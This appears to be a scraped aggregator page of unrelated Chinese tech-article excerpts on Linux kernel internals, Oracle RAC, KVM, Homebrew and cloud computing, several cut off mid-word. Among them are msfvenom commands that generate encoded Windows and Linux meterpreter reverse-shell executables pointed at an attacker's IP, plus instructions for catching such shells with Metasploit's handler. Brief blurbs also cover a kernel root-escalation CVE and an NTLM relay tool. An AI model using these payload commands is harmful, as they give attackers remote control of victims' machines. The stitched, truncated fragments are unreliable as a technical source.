原子操作 通常我们代码中的a = a + 1这样的一行语句，翻译成汇编后蕴含着3条指令: ldr x0, &a add x0,x0,#1 str x0,&a 即 (1)从内存中读取a变量到X0寄存器 (2)X0寄存器加1 (3)将X0写入到内存a中 既然是3条指令，那么就有可能并发，也就意味着返回的结果可能不是预期的。 然后在linux kernel的操作系统中，提供访问原子变量的函数，用来解决上述问题。其中部分原子操作的API如下： atomic_read atomic_add_return(i,v) a
裸设备，是没有经过格式化的分区或磁盘，也叫裸分区（原始分区），不被Unix通过文件系统来读取的特殊字符设备。它由应用程序负责对 它进行读写操作。不经过文件系统的缓冲，是不被操作系统直接管理的设备。由于跨过操作系统管理，使得I/O效率更高。在基于SUSE Linux 10上安装Oracle 10g RAC的话，由于Oracle 10g 不支持将ocr与votingdisk 存放在ASM 磁盘中，因此，依然需要为其使用裸设备方式。SUSE Linux裸设备的配置与其他的Linux稍有差异，下面将具体描述。
kubernetes部署 （1）关闭防火墙 （2）关闭 selinux （3）关闭swap分区 （4）更改主机名 （5） 在 master中 添加 hosts：
声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。
近日，绿盟科技监测发现Linux kernel 存在一个权限提升漏洞（CVE-2020-14386），由于net/packet/af_packet.c在处理AF_PACKET时存在整数溢出，导致可进行越界写从而实现权限提升，攻击者可以利用此漏洞从非特权进程获得系统root权限。使用了Linux Kernel的openshift/docker/kubernetes等虚拟化产品可能会受到该漏洞影响，导致虚拟化逃逸，请相关用户采取措施进行防护。
在我们使用github中的一些文件需要下载时，尤其是使用脚本的时候，希望使用wget可以拿取github中的单个文件，gihub有这个功能，需要访问raw.githubusercontent.com，但是当使用时，会出现如下这样的问题
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
最近在给客户基于Suse 11 sp3安装Oracle 10g RAC，在安装完clusterware执行/u01/app/crs/root.sh时收到错误提示，Failed to upgrade Oracle Cluster Registry configuration由于当前的环境使用了多路径，从Oracle的描述来看，这是一个Oracle Bug(4679769)，如果你有相同的问题，请接着往下看。 一、故障现象 suse11a:/u01/app/crs # /u01/app/crs/root.sh WARNING: directory '/u01/app' is not owned by root Checking to see if Oracle CRS stack is already configured /etc/oracle does not exist. Creating it now. Setting the permissions on OCR backup directory Setting up NS directories Failed to upgrade Oracle Cluster Registry configuration #此处为错误提示 #下面使用clsfmt命令时提示Received unexpected error，注，/u01/app/crs 为ORA_CRS_HOME。 suse11a:/ # /u01/app/crs/bin/clsfmt ocr /dev/raw/raw1 clsfmt: Received unexpected error 4 from skgfifi skgfifi: Additional information: -2 Additional information: 1073741824 #下面是具体的错误日志 suse11a:/u01/app/crs/log/suse11a/client # pwd /u01/app/crs/log/suse11a/client suse11a:/u01/app/crs/log/suse11a/client # more ocrconfig_24066.log Oracle Database 10g CRS Release 10.2.0.1.0 Production Copyright 1996, 2005 Oracle. All rights reserved. 2014-08-11 11:52:14.993: [ OCRCONF][2176517888]ocrconfig starts... 2014-08-11 11:52:14.994: [ OCRCONF][2176517888]Upgrading OCR data 2014-08-11 11:52:15.100: [ OCRRAW][2176517888]propriogid:1: INVALID FORMAT 2014-08-11 11:52:15.101: [ OCRRAW][2176517888]ibctx:1:ERROR: INVALID FORMAT 2014-08-11 11:52:15.101: [ OCRRAW][2176517888]proprinit:problem reading the bootblock or superbloc 22 2014-08-11 11:52:15.102: [ default][2176517888]a_init:7!: Backend init unsuccessful : [22] 2014-08-11 11:52:15.102: [ OCRCONF][2176517888]Exporting OCR data to [OCRUPGRADEFILE] 2014-08-11 11:52:15.102: [ OCRAPI][2176517888]a_init:7!: Backend init unsuccessful : [33] 2014-08-11 11:52:15.102: [ OCRCONF][2176517888]There was no previous version of OCR. error:[PROC-33: Oracle Cluster Registry is not configured] 2014-08-11 11:52:15.108: [ OCRRAW][2176517888]propriogid:1: INVALID FORMAT 2014-08-11 11:52:15.108: [ OCRRAW][2176517888]ibctx:1:ERROR: INVALID FORMAT 2014-08-11 11:52:15.108:
CNS图表复现之旅前面我们已经进行了9讲，你可以点击图表复现话题回顾。如果你感兴趣也想加入交流群，自己去：你要的rmarkdown文献图表复现全套代码来了（单细胞）找到我们的拉群小助手哈。
Homebrew 对于使用 Mac 的开发者来说，是再熟悉不过的了，它可以在 macOS 中方便的安装和管理各种系统并不自带的开发包。在安装 homebrew 时，由于众所周知的原因，用官网的安装方法很慢且容易中断，想用国内的源进行安装。让人非常头疼，今天为各位推荐的就是在国内自动安装 Homebrew 的脚本。
我们已经多次强调了，之前推荐的清华大学镜像可能是人满为患，大家需要自己机智一点哦。
KVM 全称是 基于内核的虚拟机（Kernel-based Virtual Machine），它是一个 Linux 的一个内核模块，该内核模块使得 Linux 变成了一个 Hypervisor，KVM 是基于虚拟化扩展（Intel VT 或者 AMD-V）的 X86 硬件的开源的 Linux 原生的全虚拟化解决方案。KVM 中，虚拟机被实现为常规的 Linux 进程，由标准 Linux 调度程序进行调度；虚机的每个虚拟 CPU 被实现为一个常规的 Linux 进程。这使得 KMV 能够使用 Linux 内核的已有功能。但是，KVM 本身不执行任何硬件模拟，需要客户空间程序通过 /dev/kvm 接口设置一个客户机虚拟服务器的地址空间，向它提供模拟的 I/O，并将它的视频显示映射回宿主的显示屏。
对于所有shellcode，请参阅“ msfvenom –h”以获取有关有效参数的信息。Msfvenom将输出能够以这种语言剪切和粘贴的代码，来供利用。
※这类脚本是综合测试VPS基础信息、硬盘IO、带宽和网络延迟等项目的一键式脚本，主要有以下几个
rac3节点上安装须要的rpm包，本实验环境使用的是OEL系统，所以使用oracle-validated。
Kernel-based Virtual Machine的简称，是一个开源的系统虚拟化模块，自Linux 2.6.20之后集成在Linux的各个主要发行版本中。它使用Linux自身的调度器进行管理，所以相对于Xen，其核心源码很少。KVM目前已成为学术界的主流VMM之一。
存储的配置总结下只有2步：持久化配置 和 权限配置 。一般来说这两步是可以合在一起的，只是使用多路径软件时需要分开来讲（多路径软件多了一个多路径聚合的步骤）。
在项目中，经常有可能用到以太网的原始数据，就是链路层输出，不经过TCPIP,UDP这类协议解析的数据。一般称呼这种为RAW数据。
安装 下载zk后，确保有java环境的情况下解压就可以使用了 [root@h102 src]# tar -zxvf zookeeper-3.4.8.tar.gz zookeeper-3.4.8/ zookeeper-3.4.8/zookeeper-3.4.8.jar.md5 zookeeper-3.4.8/zookeeper-3.4.8.jar.asc zookeeper-3.4.8/zookeeper-3.4.8.jar zookeeper-3.4.8/contrib/ ... ... zookeepe
哇，那个VSCode的终端好丑，一定要整理一下才可以。 转到这个目录 cd /usr/share/fonts/truetype/ 下载我们的字体 sudo git clone https://github.com/abertsch/Menlo-for-Powerline.git 刷新字体 sudo fc-cache -f -v 回到 Vs Code的用户设置.json 中加入以下代码 "terminal.integrated.fontFamily": "Menlo for Powerline", 或者
VPS综合性能测试！包含VPS硬件信息测试、VPS网络速度测试、VPS回程路由。整合脚本！
相信大家有很多人在做图像，或者做过图像，甚至视频，最近有个需求，实现多路usb摄像头同开，用c/c++实现。
他说，这些数据集可以用来训练图像分类器，使用CNN做出来的分类器，分辨上述的5种图像准确度可以达到91%。
内容审核在很多领域都有非常重要的作用，它不仅需要通过分类器识别图像或其它数据不适合展示，同时还能结合语义分割模型对这些限制级图像进行处理（Mask 掉敏感部分）。这样在不过多影响内容的情况下去除掉不合适的信息。开发者 alexkimxyz 构建的这个项目大概收集了 20 多万张敏感图像，且通过 URL 的形式展示了 GitHub 中。
云计算介绍 云计算是一种按使用量付费的模式，这种模式提供可用的、便捷的、按需的网络访问，进入可配置的计算资源共享池，（资源包括网络、服务器、存储、应用软件、服务），这些资源能够被快速提供，需要投入很少的管理工作，或与服务供应商进行很少的交互。 1）云计算之前的使用模式 IDC 托管 IDC 租用 虚拟主机（买空间） VPS：虚拟专用主机 2）传统数据中心面临的问题 资源使用率低 资源分配不均 自动化能力差 3）云计算的优势 云计算是一种使用模式，不是一种技术 云计算的使用方式：通过网络访问 云计算的优势：弹
除了原子操作，中断屏蔽，自旋锁以及自旋锁的衍生锁之外，在Linux内核中还存在着一些其他同步互斥的手段。
输入地址http://xxx.xxx.com:8088/ipfs/QmSoASxb8aNVGk3pNWpZvXEZTQKxjGeu9bvpYHuo5bP1VJ可查看刚才上传的文件
前言： 虚拟化场景下，测试的时候，经常为了省事，经常想跳过安装操作系统。因为作者使用的是iscsi的分布式存储方案，所以可以用iscsiadm把iscsi挂载到host上，虚拟化出来/dev/sdx设备。 qemu-img convert -f qcow2 -O raw CentOS-7-x86_64-GenericCloud.qcow2 /dev/sdx 实际效果还不错，省去了安装操作系统的复杂过程。转换完成后，从/dev/sdx直接启动，guest os就带着操作系统了。 但是，还会看到转化速度比较慢
在linux内核中，各个子系统之间有很强的相互关系，某些子系统可能对其他子系统产生的事件比较感兴趣。因此内核引入了notifier机制，当然了notifier机制只能用在内核子系统之间，不能用在内核与应用层之间。比如当系统suspend的时候，就会使用到notifier机制来通知系统的内核线程进行suspend。
在编程过程中，我们往往会遇到一个小麻烦——微软 Windows 系统在文件夹名之间使用反斜杠字符，而几乎所有其它的计算机（操作系统）都使用正斜杠：
通常 Metasploit 最有用（对于初学者来说被低估）的功能之一是 msfpayload 模块。可以使用此模块创建多个有效负载，它有助于在几乎任何情况下为您提供外壳。对于这些有效负载中的每一个，您都可以进入 msfconsole 并选择exploit/multi/handler。为使用的相关负载运行“设置负载”并配置所有必要的选项（LHOST、LPORT 等）。执行并等待有效负载运行。对于下面的示例，它是不言自明的，但 LHOST 应填写您的 IP 地址（如果在网络内进行攻击，则为 LAN IP，如果通过 Internet 进行攻击，则为 WAN IP），并且 LPORT 应该是您希望重新连接的端口。
所谓实时，就是一个特定任务的执行时间必须是确定的，可预测的，并且在任何情况下都能保证任务的时限（最大执行时间限制）。实时又分软实时和硬实时，所谓软实时，就是对任务执行时限的要求不那么严苛，即使在一些情况下不能满足时限要求，也不会对系统本身产生致命影响，例如，媒体播放系统就是软实时的，它需要系统能够在1秒钟播放24帧，但是即使在一些严重负载的情况下不能在1秒钟内处理24帧，也是可以接受的。所谓硬实时，就是对任务的执行时限的要求非常严格，无论在什么情况下，任务的执行实现必须得到绝对保证，否则将产生灾难性后果，例如，飞行器自动驾驶和导航系统就是硬实时的，它必须要求系统能在限定的时限内完成特定的任务，否则将导致重大事故，如碰撞或爆炸等。
KVM是开源软件，全称是kernel-based virtualmachine(基于内核的虚拟机)，是一个开源的系统虚拟化模块，基于硬件的完全虚拟化，不过需要硬件支持(如Intel VT技术或者AMD V技术)。自Linux 2.6.20之后集成在Linux的各个主要发行版本中。它使用Linux自身的调度器进行管理，所以相对于Xen，其核心源码很少。KVM目前已成为学术界的主流VMM之一。
在上一篇中，我们介绍了如何在 CentOS7上安装并配置KVM，以及通过KVM安装CentOS系统。本篇则是介绍在KVM里安装完虚拟机后，如何使用KVM来管理虚拟机。
自旋锁与互斥锁类似，但是自旋锁不会引起调用者睡眠。如果自旋锁被其他执行单元保持，则调用者会一直循环等待保持者释放锁。
此程序相当于Linux里面的一个slab内存分配器 一、Slab 内存slab分配器最初思想来自Solaris的内核态小数据结构(一页以内)的内存分配，受到Solaris的影响，Linux内核也采用类似思想来减少页内碎片，其基本思想是：一次向内核获取整数页，slab根据数据结构的大小进行划分为一个个小的数据结构，当需要时直接从该链表上摘取一个返回应用程序，当应用程序释放时，而非真正释放，只需要该空间放回到链表中，当分散的一页多块又聚集一页时，又会拼成一页，同时判断slab空闲的页数，如果空闲页超过一定的页数
如今智能手机的摄像功能已经完备到多数人认为可以代替传统摄影了。虽然这在傻瓜相机的市场中是个事实，但是对于许多摄影爱好者和专业摄影师看来，一个高端单反相机所能带来的照片景深、清晰度以及真实质感是口袋中的智能手机无法与之相比的。
For redhat 5.x http://linux.dell.com/repo/hardware/OMSA_6.5/platform_independent/rh50_64/ipmitool/
raw格式是原始镜像，会直接当作一个块设备给虚拟机来使用，至于文件里面的空洞，则是由宿主机的文件系统来管理的，linux下的文件系统可以很好的支持空洞的特性，
lsarelayx 是系统范围的 NTLM 中继工具，旨在将传入的基于 NTLM 的身份验证中继到运行它的主机。lsarelayx 将中继任何传入的身份验证请求，其中包括 SMB。由于 lsarelayx 挂钩到现有的应用程序身份验证流，该工具还将在中继完成后尝试为原始身份验证请求提供服务。这将防止目标应用程序/协议显示错误，并为最终用户针对 lsarelayx 主机进行身份验证正常工作。
在本文中，我们将介绍在基于Linux的设备上进行初始访问后，可用于后渗透阶段漏洞利用和枚举的一些自动化脚本研究。
msf作为一款强大的漏洞检测工具，如何生成适用于msf的payload以及如何利用是使用msf的关键，今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom，下面看看他的帮助信息。
由于系统将CAN设备作为网络设备进行管理，因此在CAN总线应用开发方面，Linux提供了SocketCAN接口，使得CAN总线通信近似于和以太网的通信，应用程序开发接口更加通用，也更加灵活。
Linux平台 Oracle 10gR2（10.2.0.5）RAC安装 Part1：准备工作
今天给大家推荐个一键检测Linux/VPS服务器配置的脚本，笔者长期以来都对服务器配置关注度不够，事实证明提前了解些服务器配置性能还是很有必要的，在后期的运维过程里有了这个参考可以少走不少的弯路的！
最近公司新项目需要安装400+windows server 2012系统的工作站，想着怎么能像linux下运用ansible批量管理，linux就很简单了有ssh服务
MyCAT 是使用JAVA开发的，必须运行于JRE的环境中，MyCAT的运行依赖不低于JDK7版本的环境
按照下述教程快速批量扫描您的仓库，一旦新的攻击或 0Day 出现，通过资产清单即可快速定位漏洞及影响范围、有效缩短响应时间。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
云直播
